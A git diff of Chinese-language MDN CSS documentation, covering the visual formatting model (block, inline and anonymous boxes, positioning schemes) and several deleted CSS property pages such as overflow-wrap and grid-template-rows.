译注:本文有很多相近的术语,阅读时需仔细,否则容易造成误解。为了方便读者,这里我将其整理一下。

+ +

 

+ +
    +
  • :block,一个抽象的概念,一个块在文档流上占据一个独立的区域,块与块之间在垂直方向上按照顺序依次堆叠。
  • +
  • 包含块:containing block,包含其他盒子的块称为包含块。
  • +
  • 盒子:box,一个抽象的概念,由CSS引擎根据文档中的内容所创建,主要用于文档元素的定位、布局和格式化等用途。盒子与元素并不是一一对应的,有时多个元素会合并生成一个盒子,有时一个元素会生成多个盒子(如匿名盒子)。
  • +
  • 块级元素:block-level element,元素的 displayblocklist-itemtable 时,该元素将成为块级元素。元素是否是块级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • +
  • 块级盒子:block-level box,由块级元素生成。一个块级元素至少会生成一个块级盒子,但也有可能生成多个(例如列表项元素)。
  • +
  • 块盒子:block box,如果一个块级盒子同时也是一个块容器盒子(见下),则称其为块盒子。除具名块盒子之外,还有一类块盒子是匿名的,称为匿名块盒子(Anonymous block box),匿名盒子无法被CSS选择符选中。
  • +
  • 块容器盒子:block container box或block containing box,块容器盒子侧重于当前盒子作为“容器”的这一角色,它不参与当前块的布局和定位,它所描述的仅仅是当前盒子与其后代之间的关系。换句话说,块容器盒子主要用于确定其子元素的定位、布局等。
  • +
+ +

注意:盒子分为“块盒子”和“块级盒子”两种,但元素只有“块级元素”,而没有“块元素”。下面的“行内级元素”也是一样。

+ +
    +
  • 行内级元素:inline-level element,displayinlineinline-blockinline-table 的元素称为行内级元素。与块级元素一样,元素是否是行内级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • +
  • 行内级盒子:inline-level box,由行内级元素生成。行内级盒子包括行内盒子和原子行内级盒子两种,区别在于该盒子是否参与行内格式化上下文的创建。
  • +
  • 行内盒子:inline box,参与行内格式化上下文创建的行内级盒子称为行内盒子。与块盒子类似,行内盒子也分为具名行内盒子和匿名行内盒子(anonymous inline box)两种。
  • +
  • 原子行内级盒子:atomic inline-level box,不参与行内格式化上下文创建的行内级盒子。原子行内级盒子一开始叫做原子行内盒子(atomic inline box),后被修正。原子行内级盒子的内容不会拆分成多行显示。
  • +
+ +

另外,本文的英文原文仍未最后定稿,因此部分内容并不完整。待英文原文更新后应及时更新译文。

+
+ +

盒子的生成

+ +

盒子的生成是 CSS 视觉格式化模型的一部分,用于从文档元素生成盒子。盒子有不同的类型,不同类型的盒子的格式化方法也有所不同。盒子的类型取决于 CSS {{ cssxref("display") }} 属性。

+ +

块级元素与块盒子

+ +

当元素的 {{ cssxref("display") }} 为 blocklist-item 或 table 时,该元素将成为块级元素。一个块级元素会被格式化成一个块(例如文章的一个段落),默认按照垂直方向依次排列。

+ +

每个块级盒子都会参与块格式化上下文(block formatting context)的创建,而每个块级元素都会至少生成一个块级盒子,即主块级盒子(principal block-level box)。有一些元素,比如列表项会生成额外的盒子来放置项目符号,而那些会生成列表项的元素可能会生成更多的盒子。不过,多数元素只生成一个主块级盒子。 

+ +

主块级盒子包含由后代元素生成的盒子以及内容,同时它也会参与定位方案

+ +

venn_blocks.png一个块级盒子可能也是一个块容器盒子。块容器盒子(block container box)要么只包含其它块级盒子,要么只包含行内盒子并同时创建一个行内格式化上下文(inline formatting context)

+ +

能够注意到块级盒子与块容器盒子是不同的这一点很重要。前者描述了元素与其父元素和兄弟元素之间的行为,而后者描述了元素跟其后代之间的行为。有些块级盒子并不是块容器盒子,比如表格;而有些块容器盒子也不是块级盒子,比如非替换行内块和非替换表格单元格。

+ +

一个同时是块容器盒子的块级盒子称为块盒子(block box)。

+ +

匿名块盒子

+ +

在某些情况下进行视觉格式化时,需要添加一些增补性的盒子,这些盒子不能用CSS选择符选中,因此称为匿名盒子(anonymous boxes)

+ +

CSS选择器不能作用于匿名盒子(anonymous boxes),所以它不能被样式表赋予样式。也就是说,此时所有可继承的 CSS 属性值都为 inherit ,而所有不可继承的 CSS 属性值都为 initial

+ +

块包含盒子可能只包含行内级盒子,也可能只包含块级盒子,但通常的文档都会同时包含两者,在这种情况下,就会在相邻的行内级盒子外创建匿名块盒子。

+ +

示例

+ +

考虑下面的HTML代码,假设 {{ HTMLElement("div") }} 和 {{ HTMLElement("p") }} 都保持默认的样式(即它们的 display 为 block):

+ +
<div>Some inline text <p>followed by a paragraph</p> followed by more inline text.</div>
+
+ +

此时会产生两个匿名块盒子:一个是 <p> 元素前面的那些文本(Some inline text),另一个是 <p> 元素后面的文本(followed by more inline text.)。此时会生成下面的块结构:

+ +

+ +

显示为:

+ +
Some inline text
+followed by a paragraph
+followed by more inline text.
+
+ +

对这两个匿名盒子来说,程序员无法像 {{ HTMLElement("p") }} 元素那样控制它们的样式,因此它们会从 {{ HTMLElement("div") }} 那里继承那些可继承的属性,如 {{ cssxref("color") }}。其他不可继承的属性则会设置为 initial,比如,因为没有为它们指定 {{ cssxref("background-color") }},因此其具有默认的透明背景,而 <p> 元素的盒子则能够用CSS指定背景颜色。类似地,两个匿名盒子的文本颜色总是一样的。

+ +

另一种会创建匿名块盒子的情况是一个行内盒子中包含一或多个块盒子。此时,包含块盒子的盒子会拆分为两个行内盒子,分别位于块盒子的前面和后面。块盒子前面的所有行内盒子会被一个匿名块盒子包裹,块盒子后面的行内盒子也是一样。因此,块盒子将成为这两个匿名块盒子的兄弟盒子。

+ +

如果有多个块盒子,而它们中间又没有行内元素,则会在这些盒子的前面和后面创建两个匿名块盒子。

+ +

示例

+ +

考虑下面的HTML代码,假设 {{ HTMLElement("p") }} 的 display 为 inline,{{ HTMLElement("span") }} 的 display 为 block

+ +
<p>Some <em>inline</em> text <span>followed by a paragraph</span> followed by more inline text.</p>
+
+ +

此时会产生两个匿名块盒子:一个是 <span> 元素前面的文本(Some inline text),另一个是其之后的文本(followed by more inline text.)。此时会生成下面的块结构:

+ +

+ +

显示为:

+ +
Some inline text
+followed by a paragraph
+followed by more inline text.
+
+ +

行内级元素和行内盒子

+ +

如果一个元素的 {{ cssxref("display") }} 属性为 inlineinline-blockinline-table,则称该元素为行内级元素。显示时,它不会生成内容块,但是可以与其他行内级内容一起显示为多行。一个典型的例子是包含多种格式内容(如强调文本、图片等)的段落,就可以由行内级元素组成。

+ +

+ +
+

该图使用了过时的术语,见下面的“注意”(译注:指图中的 “Atomic inline boxes”)。除此之外该图还有一个错误,右边的黄色部分应该完全包含左侧的椭圆(类似于数学上的超集),因为标准所说的是“如果行内级元素生成的盒子参与行内格式化上下文的创建,则该盒子为一个行内级盒子”,见“CSS 2.2标准的9.2.2节”。

+
+ +

行内级元素会生成行内级盒子,该盒子同时会参与行内格式化上下文(inline formatting context)的创建。行内盒子既是行内级盒子,也是一个其内容会参与创建其容器的行内格式化上下文的盒子,比如所有具有 display:inline 样式的非替换盒子。如果一个行内级盒子的内容不参与行内格式化上下文的创建,则称其为原子行内级盒子。而通过替换行内级元素或 display 值为 inline-blockinline-table 的元素创建的盒子不会像行内盒子一样可以被拆分为多个盒子。

+ +
+

注意:开始的时候,原子行内级盒子叫做原子行内盒子,这并不准确,因为它们并不是行内盒子。后来在一次勘误时修正了这一问题。不过,当你见到某些文章中使用了“原子行内盒子”的时候,你尽可以将其理解为“原子行内级盒子”,因为这仅仅是一个名字的修改。

+
+ +
+

在同一个行内格式化上下文中,原子行内级盒子不能拆分成多行:

+ +
<style>
+  span {
+    display:inline; /* default value*/
+  }
+</style>
+<div style="width:20em;">
+   The text in the span <span>can be split in several
+   lines as it</span> is an inline box.
+</div>
+
+ +

可能会显示为:

+ +

The text in the span can be split into several
+ lines as it is an inline box.

+ +

而:

+ +
<style>
+  span {
+    display:inline-block;
+  }
+</style>
+<div style="width:20em;">
+   The text in the span <span>cannot be split in several
+   lines as it</span> is an inline-block box.
+</div>
+
+ +

则可能显示为:

+ +

The text in the span 
+ cannot be split into several lines as it is an
+ inline-block box.

+ +

其中的“cannot be split into several lines as it”永远不会换行。

+
+ +

匿名行内盒子

+ +
类似于块盒子,CSS引擎有时候也会自动创建一些行内盒子。这些行内盒子无法被选择符选中,因此是匿名的,它们从父元素那里继承那些可继承的属性,其他属性保持默认值 initial
+ +
 
+ +
一种常见的情况是CSS引擎会自动为直接包含在块盒子中的文本创建一个行内格式化上下文,在这种情况下,这些文本会被一个足够大的匿名行内盒子所包含。但是如果仅包含空格则有可能不会生成匿名行内盒子,因为空格有可能会由于 {{ cssxref("white-space") }} 的设置而被移除,从而导致最终的实际内容为空。
+ +
 
+ +
示例 TBD
+ +

其他类型的盒子

+ +

行盒子

+ +

行盒子由行内格式化上下文创建,用来显示一行文本。在块盒子内部,行盒子总是从块盒子的一边延伸到另一边(译注:即占据整个块盒子的宽度)。当有浮动元素时,行盒子会从向左浮动的元素的右边缘延伸到向右浮动的元素的左边缘。

+ +
行盒子更多是以技术性目的而存在的,Web开发者通常不需要关心。
+ +

Run-in 盒子

+ +
Run-in 盒子通过 display:run-in 来定义,它可以是块盒子,也可以是行内盒子,这取决于紧随其后的盒子的类型。Run-in 盒子可以用来在可能的情况下将标题嵌入文章的第一个段落中。
+ +
 
+ +
+

注意:Run-in 盒子已经在CSS 2.1的标准中移除了,但可能会在CSS 3中作为一个实验性的内容再次加入。因此最好不要将其用于正式项目。

+
+ +

由其他模型引入的盒子

+ +
除了行内格式化上下文和块格式化上下文之外,CSS还定义了几种内容模型,这些模型同样可以应用于元素。这些模型一般用来描述布局,它们可能会定义一些额外的盒子类型:
+ +
 
+ +
    +
  • 表格内容模型可能会创建一个表格包装器盒子和一个表格盒子,以及多个其他盒子如表格标题盒子等
  • +
  • 多列内容模型可能会在容器盒子和内容之间创建多个列盒子
  • +
  • 实验性的网格内容模型或flex-box内容模型同样会创建一些其他种类的盒子
  • +
+ +

定位规则

+ +

一旦生成了盒子以后,CSS引擎就需要定位它们以完成布局。下面是定位盒子时所使用的规则:

+ +
    +
  • 普通流:按照次序依次定位每个盒子
  • +
  • 浮动:将盒子从普通流中单独拎出来,将其放到外层盒子的某一边
  • +
  • 绝对定位:按照绝对位置来定位盒子,其位置根据盒子的包含元素所建立的绝对坐标系来计算,因此绝对定位元素有可能会覆盖其他元素
  • +
+ +

普通流

+ +
在普通流中,盒子会依次放置。在块格式化上下文中,盒子在垂直方向依次排列;而在行内格式化上下文中,盒子则水平排列。当CSS的 {{ cssxref("position") }} 属性为 static 或 relative,并且 {{ cssxref("float") }} 为 none 时,其布局方式为普通流。
+ +

示例

+ +
+

在普通流的块格式化上下文中,盒子会垂直依次排列:

+ +

[TODO 图片]

+ +

在普通流的行内格式化上下文中,盒子会水平依次排列:

+ +

[TODO 图片]

+
+ +
+

普通流又有两种情况:静态定位和相对定位:

+ +

{{ cssxref("position") }} 为 static 时为静态定位,此时每个盒子根据普通流所计算出的确切位置来定位。

+ +

[TODO 图片]

+ +

当 {{ cssxref("position") }} 为 relative 时为相对定位,此时每个盒子还会根据 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 属性的值在其原本所在的位置上产生指定大小的偏移。

+
+ +

浮动

+ +

在浮动定位中,浮动盒子会浮动到当前行的开始或尾部位置。这会导致普通流中的文本及其他内容会“流”到浮动盒子的边缘处,除非元素通过 {{ cssxref("clear") }} 清除了前面的浮动。

+ +

一个盒子的 {{ cssxref("float") }} 值不为 none,并且其 {{ cssxref("position") }} 为 static 或 relative 时,该盒子为浮动定位。如果将 {{ cssxref("float") }} 设置为 left,浮动盒子会定位到当前行盒子的开始位置(左侧),如果设置为 right,浮动盒子会定位到当前行盒子的尾部位置(右侧)。不管是左浮动还是右浮动,行盒子都会伸缩以适应浮动盒子的大小。

+ +

[TODO 图片]

+ +

绝对定位

+ +

在绝对定位中,盒子会完全从当前流中移除,并且不会再与其有任何联系(译注:此处仅指定位和位置计算,而绝对定位的元素在文档树中仍然与其他元素有父子或兄弟等关系),其位置会使用 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 相对其包含块进行计算。

+ +

如果元素的 {{ cssxref("position") }} 为 absolute 或 fixed,该元素为绝对定位。

+ +

对固定位置的元素来说,其包含块为整个视口,该元素相对视口进行绝对定位,因此滚动时元素的位置并不会改变。

+ +

参见

+ +
    +
  • {{css_key_concepts}}
  • +
diff --git a/files/zh-cn/web/css/word-wrap/index.html b/files/zh-cn/web/css/word-wrap/index.html deleted file mode 100644 index 5c2c0c687d..0000000000 --- a/files/zh-cn/web/css/word-wrap/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: overflow-wrap -slug: Web/CSS/word-wrap -tags: - - CSS Text Module Level 3 - - CSS3 - - W3C - - overflow-wrap - - word-wrap -translation_of: Web/CSS/overflow-wrap ---- -
{{CSSRef}}
- -
- -

{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}

- - - -

CSS 属性 overflow-wrap 是用来说明当一个不能被分开的字符串太长而不能填充其包裹盒时,为防止其溢出,浏览器是否允许这样的单词中断换行。

- -
-

与{{cssxref("word-break")}}相比,overflow-wrap仅在无法将整个单词放在自己的行而不会溢出的情况下才会产生中断。

-
- -
注:word-wrap 属性原本属于微软的一个私有属性,在 CSS3 现在的文本规范草案中已经被重名为 {{cssxref("overflow-wrap")}} 。 word-wrap 现在被当作 overflow-wrap 的 “别名”。 稳定的谷歌 Chrome 和 Opera 浏览器版本支持这种新语法。
- -

语法

- -
/* Keyword values */
-overflow-wrap: normal;
-overflow-wrap: break-word;
-
-/* Global values */
-overflow-wrap: inherit;
-overflow-wrap: initial;
-overflow-wrap: unset;
-
-
- -

overflow-wrap 属性指定为从下面的值列表中选择的单个关键字。

- -

- -
-
normal
-
行只能在正常的单词断点处中断。(例如两个单词之间的空格)。
-
break-word
-
表示如果行内没有多余的地方容纳该单词到结尾,则那些正常的不能被分割的单词会被强制分割换行。
-
- -

形式语法

- -
{{csssyntax}}
- -

示例

- -

比较 overflow-wrap、word-break 和 hyphens

- -

本示例比较分解长单词时,overflow-wrapword-break,  hyphens 的结果。

- -

HTML

- -
<p>They say the fishing is excellent at
-  Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>normal</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="ow-anywhere">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>overflow-wrap: anywhere</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="ow-break-word">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>overflow-wrap: break-word</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="word-break">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>word-break</code>)</p>
-<p>They say the fishing is excellent at
-  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>hyphens</code>, without <code>lang</code> attribute)</p>
-<p lang="en">They say the fishing is excellent at
-  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>hyphens</code>, English rules)</p>
-<p class="hyphens" lang="de">They say the fishing is excellent at
-  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
-  though I've never been there myself. (<code>hyphens</code>, German rules)</p>
- -

CSS

- -
p {
-   width: 13em;
-   margin: 2px;
-   background: gold;
-}
-
-.ow-anywhere {
-   overflow-wrap: anywhere;
-}
-
-.ow-break-word {
-   overflow-wrap: break-word;
-}
-
-.word-break {
-   word-break: break-all;
-}
-
-.hyphens {
-   hyphens: auto;
-}
- -

结果

- -

{{ EmbedLiveSample('Comparing_overflow-wrap_word-break_and_hyphens', '100%', 260) }}

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
- -

{{cssinfo}}

- -

浏览器兼容性

- -

{{Compat("css.properties.overflow-wrap")}}

- -

另参见

- -
    -
  • {{cssxref("word-break")}}
  • -
  • {{cssxref("hyphens")}}
  • -
  • {{cssxref("text-overflow")}}
  • -
diff --git "a/files/zh-cn/web/css/\345\201\217\347\247\273/index.html" "b/files/zh-cn/web/css/\345\201\217\347\247\273/index.html" deleted file mode 100644 index e61a0ffd7a..0000000000 --- "a/files/zh-cn/web/css/\345\201\217\347\247\273/index.html" +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: offset -slug: Web/CSS/偏移 -translation_of: Web/CSS/offset ---- -
{{SeeCompatTable}}{{CSSRef}}{{draft}}
- -

这个 offset 是CSS属性的快速属性动画元素沿着定义的路径。

- -
-

早期版本 规格 属性叫做 motion.

-
- -

{{cssinfo}}

- -

Syntax

- -
/* 偏移位置 */
-offset: auto
-offset: 10px 30px;
-offset: none;
-
-/* 偏移路径 */
-offset: ray(45deg closest-side);
-offset: path(M 100 100 L 300 100 L 200 300 z);
-offset: url(arc.svg);
-
-/*  偏移路径的距离和/或旋转  */
-offset: url(circle.svg) 100px;
-offset: url(circle.svg) 40%;
-offset: url(circle.svg) 30deg;
-offset: url(circle.svg) 50px 20deg;
-
-/*  包括锚偏移  */
-offset: ray(45deg closest-side) / 40px 20px;
-offset: url(arc.svg) 2cm / 0.5cm 3cm;
-offset: url(arc.svg) 30deg / 50px 100px;
-
- -

语法形式

- -
{{csssyntax}}
- -

举例

- -

HTML

- -
<div id="offsetElement"></div>
-
- -

CSS

- -
@keyframes move {
-  from {
-    offset-distance: 0%;
-  }
-
-  to {
-    offset-distance: 100%;
-  }
-}
-
-#offsetElement {
-  width: 50px;
-  height: 50px;
-  background-color: blue;
-  offset: path("M 100 100 L 300 100 L 200 300 z") auto;
-  animation: move 3s linear infinite;
-}
-
- -

Result

- -

{{EmbedLiveSample("Example", 350, 350)}}

- -

规格

- - - - - - - - - - - - - - -
规格使用状态注释
{{SpecName('Motion Path Level 1', '#offset-shorthand', 'offset')}}{{Spec2('Motion Path Level 1')}}Initial definition
- -

浏览器兼容性

- -

该兼容性表生成从该网页的结构化数据。如果你愿意,请查看https://github.com/mdn/browser-compat-数据,并发送一个引入请求。

- -

{{Compat("css.properties.offset")}}

diff --git "a/files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" "b/files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" deleted file mode 100644 index 9936c531f1..0000000000 --- "a/files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 媒体查询 -slug: Web/CSS/媒体查询 -tags: - - CSS - - 参考 - - 响应式设计 - - 媒体查询 - - 总览 -translation_of: Web/CSS/Media_Queries ---- -
{{CSSRef}}
- -

通过媒体查询Media queries),您可以根据各种设备特征和参数的值或者是否存在来调整您的网站或应用。

- -

它们是响应式设计的关键组成部分。 例如,媒体查询可以缩小小型设备上的字体大小,在纵向模式下查看页面时增加段落之间的填充,或者增加触摸屏上按钮的大小。

- -

在 CSS 中,使用 {{cssxref("@media")}} at-rule 根据媒体查询的结果有条件地应用样式表的一部分。 使用 {{cssxref("@import")}} 有条件地应用整个样式表。

- -

在 HTML 中使用媒体查询

- -

HTML 中,媒体查询可以应用于各种元素:

- -
    -
  • 在{{HTMLElement("link")}}元素的{{htmlattrxref("media", "link")}}属性中,它们定义了待应用链接资源(通常是CSS)的媒体。
  • -
  • 在{{HTMLElement("source")}}元素的{{htmlattrxref("media", "source")}}属性中,它们定义待应用源的媒体。 (这仅在{{HTMLElement("picture")}}元素内有效。)
  • -
  • 在{{HTMLElement("style")}}元素的{{htmlattrxref("media", "style")}}属性中,它们定义待应用样式的媒体。
  • -
- -

在 JavaScript 中使用媒体查询

- -

JavaScript中,您可以使用 {{domxref("Window.matchMedia()")}} 方法根据媒体查询测试窗口。 您还可以使用{{domxref("MediaQueryList.addListener()")}}在查询状态发生变化时收到通知。 借助此功能,您的站点或应用可以响应设备配置,方向或状态的更改。

- -

您可以学习更多以编程方式使用媒体查询在测试媒体查询中。

- -

参考

- -

At-rules

- -
-
    -
  • {{cssxref("@import")}}
  • -
  • {{cssxref("@media")}}
  • -
-
- -

指南

- -
-
使用媒体查询
-
介绍媒体查询和媒体查询的的语法以及用于构造媒体查询表达式的运算符和媒体功能。
-
编程方式使用媒体查询
-
描述如何在 JavaScript 代码中使用媒体查询来确定设备的状态,以及设置在媒体查询结果发生更改时(例如,当用户旋转屏幕或调整浏览器大小时)通知代码的监听器。
-
使用媒体查询增强网站的可访问性
-
了解媒体查询如何帮助用户更好地了解您的网站。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}}
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}}
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}}
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
- -

浏览器兼容性

- -

@media rule

- - - -

{{Compat("css.at-rules.media")}}

- -

参见

- -
    -
  • Use {{cssxref("@supports")}} to apply styles that depend on browser support for various CSS technologies.
  • -
diff --git "a/files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" "b/files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" deleted file mode 100644 index cdffd6eced..0000000000 --- "a/files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: 文本装饰线厚度(粗细) -slug: Web/CSS/文本装饰线厚度(粗细) -tags: - - 装饰线粗细 装饰线厚度 -translation_of: Web/CSS/text-decoration-thickness ---- -
{{CSSRef}}
- -
CSS 属性 text-decoration-thickness 用于设置元素中文本所使用的装饰线(如 line-through、underline 或 overline)的笔触厚度。
- -

语法

- -
/* Single keyword */
-text-decoration-thickness: auto;
-text-decoration-thickness: from-font;
-
-/* length */
-text-decoration-thickness: 0.1em;
-text-decoration-thickness: 3px;
-
-/* percentage */
-text-decoration-thickness: 10%;
-
-/* Global values */
-text-decoration-thickness: inherit;
-text-decoration-thickness: initial;
-text-decoration-thickness: unset;
- -

- -
-
auto
-
由浏览器为文本装饰线选择合适的厚度。
-
from-font
-
如果字体文件中包含了首选的厚度值,则使用字体文件的厚度值。如果字体文件中没有包含首选的厚度值,则效果和设置为 auto 一样,由浏览器选择合适的厚度值。
-
<length>
-
将文本装饰线的厚度设置为一个 {{cssxref('length')}} 类型的值,覆盖掉字体文件建议的值或浏览器默认的值。
-
<percentage>
-
Specifies the thickness of the text decoration line as a {{cssxref('percentage')}} of 1em in the current font. A percentage inherits as a relative value, and so therefore scales with changes in the font. The browser must use a minimum of 1 device pixel. For a given application of this property, the thickness is constant across the whole box it is applied to, even if there are child elements with a different font size.
-
- -

Formal definition

- -

{{CSSInfo}}

- -

Formal syntax

- -
{{csssyntax}}
- -

示例

- -

Varying thickness

- -

HTML

- -
<p class="thin">Here's some text with a 1px red underline.</p>
-<p class="thick">This one has a 5px red underline.</p>
-<p class="shorthand">This uses the equivalent shorthand.</p>
- -

CSS

- -
.thin {
-  text-decoration-line: underline;
-  text-decoration-style: solid;
-  text-decoration-color: red;
-  text-decoration-thickness: 1px;
-}
-
-.thick {
-  text-decoration-line: underline;
-  text-decoration-style: solid;
-  text-decoration-color: red;
-  text-decoration-thickness: 5px;
-}
-
-.shorthand {
-  text-decoration: underline solid red 5px;
-}
- -

Results

- -

{{ EmbedLiveSample('Varying_thickness', '', '', '') }}

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS4 Text Decoration', '#text-decoration-width-property', 'text-decoration-width')}}{{Spec2('CSS4 Text Decoration')}}Initial definition.
- -
-

Note: The property used to be called text-decoration-width, but was updated in 2019 to text-decoration-thickness.

-
- -

浏览器兼容性

- - - -

{{Compat("css.properties.text-decoration-thickness")}}

- -

相关链接

- -
    -
  • {{cssxref("text-decoration")}}
  • -
  • {{cssxref("text-underline-offset")}}
  • -
diff --git "a/files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" "b/files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" deleted file mode 100644 index 0dcd6b29d5..0000000000 --- "a/files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: grid-template-rows -slug: Web/CSS/网格-模板-列 -tags: - - grid-template-rows -translation_of: Web/CSS/grid-template-rows ---- -

grid-template-rows 该属性是基于 {{glossary("grid rows", "网格行")}} 的维度,去定义网格线的名称和网格轨道的尺寸大小。

- -
{{EmbedInteractiveExample("pages/css/grid-template-rows.html")}}
- - - -

语法

- -
/* Keyword value */
-grid-template-rows: none;
-
-/* <track-list> values */
-grid-template-rows: 100px 1fr;
-grid-template-rows: [linename] 100px;
-grid-template-rows: [linename1] 100px [linename2 linename3];
-grid-template-rows: minmax(100px, 1fr);
-grid-template-rows: fit-content(40%);
-grid-template-rows: repeat(3, 200px);
-
-/* <auto-track-list> values */
-grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
-grid-template-rows: minmax(100px, max-content)
-                       repeat(auto-fill, 200px) 20%;
-grid-template-rows: [linename1] 100px [linename2]
-                       repeat(auto-fit, [linename3 linename4] 300px)
-                       100px;
-grid-template-rows: [linename1 linename2] 100px
-                       repeat(auto-fit, [linename1] 300px) [linename3];
-
-/* Global values */
-grid-template-rows: inherit;
-grid-template-rows: initial;
-grid-template-rows: unset;
-
- -

该属性可能包含如下值:

- -
    -
  • 关键字 none
  • -
  • 或者 <track-list> 值
  • -
  • 或者 <auto-track-list> 值。
  • -
- -

- -
-
none
-
这个关键字表示不明确的网格。所有的行和其大小都将由{{cssxref("grid-auto-rows")}} 属性隐式的指定。
-
{{cssxref("<length>")}}
-
非负值的长度大小。
-
{{cssxref("<percentage>")}}
-
非负值且相对于网格容器的 {{cssxref("percentage", "<百分比>")}}。 如果网格容器的尺寸大小依赖网格轨道的大小(比如 inline-grid ),则百分比值将被视为auto
-
为了遵守网格的百分比,网格轨道本身定义的大小,将自动被调整为相对网格容器大小,并且是以最小量将网格轨道调整到最终的大小。
-
{{cssxref("<flex_value>","<flex>")}}
-
非负值,用单位 fr 来定义网格轨道大小的弹性系数。 每个定义了 <flex> 的网格轨道会按比例分配剩余的可用空间。当外层用一个 minmax() 表示时,它将是一个自动最小值(即 minmax(auto, <flex>) ) 。
-
max-content
-
是一个用来表示以网格项的最大的内容来占据网格轨道的关键字。
-
min-content
-
是一个用来表示以网格项的最大的最小内容来占据网格轨道的关键字。
-
{{cssxref("minmax", "minmax(min, max)")}}
-
是一个来定义大小范围的属性,大于等于min值,并且小于等于max值。如果max值小于min值,则该值会被视为min值。最大值可以设置为网格轨道系数值<flex> ,但最小值则不行。 
-
-

Note:  该规范在将来可能会允许设置最小值为 flex ,也会调整网格轨道算法(track sizing algorithm) 计算出正确的大小。

-
-
auto
-
如果该网格轨道为最大时,该属性等同于 <max-content> ,为最小时,则等同于 <min-content> 。
-
-

Note: 网格轨道大小为 auto (且只有为 auto ) 时,才可以被属性{{cssxref("align-content")}} 和 {{cssxref("justify-content")}} 拉伸 。

-
-
{{cssxref("fit-content", "fit-content( [ <length> | <percentage> ] )")}}
-
相当于公式 min(max-content, max(auto, argument)),类似于auto 的计算(即 minmax(auto, max-content)),除了网格轨道大小值是确定下来的,否则该值都大于 auto 的最小值。
-
{{cssxref("repeat", "repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )")}}
-
表示网格轨道的重复部分,以一种更简洁的方式去表示大量而且重复行的表达式。
-
- -

正式语法

- -
{{csssyntax}}
- -

示例

- -

CSS

- -
#grid {
-  display: grid;
-  height: 100px;
-  grid-template-rows: 30px 1fr;
-}
-
-#areaA {
-  background-color: lime;
-}
-
-#areaB {
-  background-color: yellow;
-}
- -

HTML

- -
<div id="grid">
-  <div id="areaA">A</div>
-  <div id="areaB">B</div>
-</div>
- -

结果

- -

{{EmbedLiveSample("示例", "40px", "100px")}}

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}{{Spec2("CSS3 Grid")}}初步定义
- -

{{cssinfo}}

- -

浏览器兼容性

- -

 

- - - -

{{Compat("css.properties.grid-template-rows")}}

- -

 

- -

参见

- - - - diff --git a/files/zh-cn/web/demos_of_open_web_technologies/index.html b/files/zh-cn/web/demos_of_open_web_technologies/index.html new file mode 100644 index 0000000000..2a8a22bce5 --- /dev/null +++ b/files/zh-cn/web/demos_of_open_web_technologies/index.html @@ -0,0 +1,154 @@ +--- +title: 开源 Web 技术示例 +slug: Web/演示说明 +tags: + - 2D + - 3D + - CSS + - Canvas + - Design + - HTML + - SVG + - Video +translation_of: Web/Demos_of_open_web_technologies +--- +

Mozilla 支持各种令人兴奋的开源 Web 技术,我们鼓励大家使用它们。此页面提供了有关这些技术的一些有趣演示链接。

+ +

如果你知道开源 Web 技术的优秀演示或者应用,就在这里(以及 英文页面)添加一个合适的链接吧。

+ +

2D 图形

+ +

Canvas

+ + + +

SVG

+ + + +

视频

+ + + +

3D 图像

+ +

WebGL

